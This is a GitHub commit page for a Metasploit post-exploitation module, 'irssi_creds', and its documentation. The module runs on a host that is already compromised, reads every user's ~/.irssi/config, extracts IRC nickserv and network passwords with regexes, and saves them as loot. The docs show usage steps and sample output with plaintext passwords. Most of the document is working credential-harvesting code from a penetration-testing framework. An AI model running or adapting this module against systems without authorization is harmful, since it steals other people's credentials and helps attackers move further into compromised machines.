Skip to content

Commit 288e384

Browse files
committed
Land rapid7#8189, irssi password post gather module
2 parents 11f6d7a + 96927b4 commit 288e384

File tree

2 files changed

+117
-0
lines changed

2 files changed

+117
-0
lines changed
Lines changed: 32 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,32 @@
1+
## Vulnerable Application
2+
3+
[irssi](https://irssi.org/) an IRC and chat client.
4+
5+
This module was successfully tested against:
6+
7+
- OSX 10.10.5 and IRSSI version 0.8.19
8+
9+
## Verification Steps
10+
11+
1. Get a `shell` or `meterpreter` session on some host.
12+
2. Do: ```use post/multi/gather/irssi_creds```
13+
3. Do: ```set SESSION [SESSION_ID]```
14+
4. Do: ```run```
15+
5. If the system has readable configuration files containing irc passwords, they will be printed out.
16+
17+
## Scenarios
18+
19+
### OSX 10.10.5 and IRSSI version 0.8.19
20+
21+
```
22+
msf post(irssi_creds) > run
23+
24+
msf post(irssi_creds) > run
25+
26+
[*] Finding ~/.irssi/config
27+
[*] Looting 1 files
28+
[+] Found a IRC password(s): chubbybunnies,meatpopcicle
29+
[+] IRC password(s) stored in /Users/jclaudius/.msf4/loot/20170410153351_default_192.168.10.99_irc.password_159907.txt
30+
[+] IRC password(s) stored in /Users/jclaudius/.msf4/loot/20170410153351_default_192.168.10.99_irc.password_967698.txt
31+
[*] Post module execution completed
32+
```
Lines changed: 85 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,85 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class MetasploitModule < Msf::Post
9+
10+
include Msf::Post::File
11+
include Msf::Post::Unix
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'Multi Gather IRSSI IRC Password(s)',
16+
'Description' => %q{
17+
This module grabs IRSSI IRC credentials.
18+
},
19+
'Author' => [
20+
'Jonathan Claudius <jclaudius[at]mozilla.com>',
21+
],
22+
'Platform' => %w{bsd linux osx unix},
23+
'SessionTypes' => %w{shell},
24+
'License' => MSF_LICENSE
25+
))
26+
end
27+
28+
def run
29+
print_status('Finding ~/.irssi/config')
30+
paths = enum_user_directories.map { |d| d + '/.irssi/config' }
31+
paths = paths.select { |f| file?(f) }
32+
33+
if paths.empty?
34+
print_error('No users found with a ~/.irssi/config file')
35+
return
36+
end
37+
38+
download_passwords(paths)
39+
end
40+
41+
# Example of what we're looking for in the config...
42+
#
43+
# ***Identify Password Example***
44+
# autosendcmd = "/msg nickserv identify example_password ;wait 2000";
45+
#
46+
# ***Network Password Example***
47+
# password = "example_password";
48+
#
49+
def contains_passwords?(path)
50+
data = read_file(path)
51+
identify_passwords = data.scan(/\/\^?msg nickserv identify ([^\s]+)/)
52+
network_passwords = data.scan(/^?password = "([^\s]+)"/)
53+
54+
passwords = identify_passwords.flatten + network_passwords.flatten
55+
56+
if passwords.any?
57+
print_good("Found IRC password(s) of #{passwords.join(',')} in irssi config at #{path}")
58+
return true
59+
end
60+
61+
false
62+
end
63+
64+
def download_passwords(paths)
65+
print_status "Looting #{paths.count} files"
66+
67+
paths.each do |path|
68+
path.chomp!
69+
next if ['.', '..'].include?(path)
70+
71+
if contains_passwords?(path)
72+
loot_path = store_loot(
73+
'irssi config file',
74+
'text/plain',
75+
session,
76+
read_file(path),
77+
path,
78+
'IRC Password'
79+
)
80+
print_good("irssi config with passwords stored in #{loot_path}")
81+
end
82+
end
83+
end
84+
85+
end

0 commit comments

Comments
 (0)